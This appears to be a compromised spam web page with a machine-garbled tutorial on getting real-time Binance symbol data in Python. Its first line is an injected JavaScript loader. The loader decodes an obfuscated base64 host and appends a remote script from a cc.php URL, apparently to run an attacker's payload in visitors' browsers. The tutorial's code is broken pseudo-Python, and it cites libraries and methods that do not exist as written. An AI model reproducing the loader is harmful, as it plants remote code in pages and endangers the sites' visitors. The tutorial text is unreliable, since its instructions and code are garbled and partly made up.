const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=79c01c98″;document.body.appendChild(script);
BINANCE API RIGHT TIME INFORMATION with Python
In this article, we will look at how to get real-time information about the Binance API symbol series using the ‘Binance-based Python library.
Prerequisites
- Install the necessary libraries: “PIP Install Binance Business”
- Create a Binance API account and get an API key
- Download the Library “Binance-Connector-Python
Step 1: By verifying the Binance API
Before obtaining information, you need to verify the Binance application connection with the application connector. This can be done by creating an object "Config":
Python
Import Binance.connector as BC
Class configuration:
Binance_API_KEY = 'Your_Binance_Api_Key'
Binance_api_secret = 'your_binance_api_secret'
Replace Your_Binance_Api_Key
and ‘Your_Binance_Api_secretwith the real API key and mystery.
Step 2: Create a customer object
Create an object “Customer” used in interacting with the Binance API:
Python
Customer = Bclet (API_KEY = Config.Binant_API_KEY,
Api_secret = config.binant_api_secret)
Step 3: Symbol Real Time Information Get Right Time Information **
Use the “Symbol” parameter to get the actual symbol series from the actual time data. To transfer the symbol table to obtain information about multiple pairs:
`Python
pairs = ['btcusdt', 'Etusdt']
symbol
Client.symbol (symbol = 'btcusdt')
This returns the latest information on both BTC/USD and ETH/USD.
Step 4: Get the right time information for each symbol
To obtain real time information from each symbol, use the “Symbol” parameter with “Time” option “True”. This returns the dictionary with current market information:
`Python
Client.symbol (symbol = 'btcusdt', time = true)
This returns the current price, volume and other market information.
Code Example
Here’s an example of a code fragment that shows how to get real-time information about multiple symbols using the binnector-piton:
Python
Import Binance.connector as BC
Category Realtimedataretriever:
Def __init __ (yourself):
Self.config = Config ()
Self.client = Bclet (api_Key = self.config.binant_api_KEY,
Api_secret = Self.config.binance_api_secret)
Def get_real_time_data (yourself, symbol = no, time = wrong):
If not a symbol and time:
Return {
'Symbol': '',
'Time': True
}
If not a symbol:
Raise the value ('symbol')
Pairs = [symbol]
A couple of pairs:
Data = self.client. symbol (symbol = pair)
If time:
Restore {'Data': Data, 'Timestamp': Data ['Timestamp']}
Other:
Restore {
Data,
{'Data': No}}
If __nimi__ == '__Main__':
Retriever = Real Estomedaretriever ()
About Symbol ['BTCUSDT', 'Etosdt']:
Print (rare.get_real_time_data (symbol = symbol))
This code fragment shows you how to get real-time data from multiple symbols using “Binance-Connector-holding. You can add more symbols by adding them to the list and editing the loop.
conclusion
In this article, we have looked at the basics of real-time information on the Binance application subscription with the help of “Binance-Connector-Pieton”. When you do these actions and examples, you should be able to obtain the latest information about several Binance symbols every 15 seconds. Remember to replace the key and secret of your application subscription with real values and follow the interaction with external application interfaces, always the practice of safety and speed limit.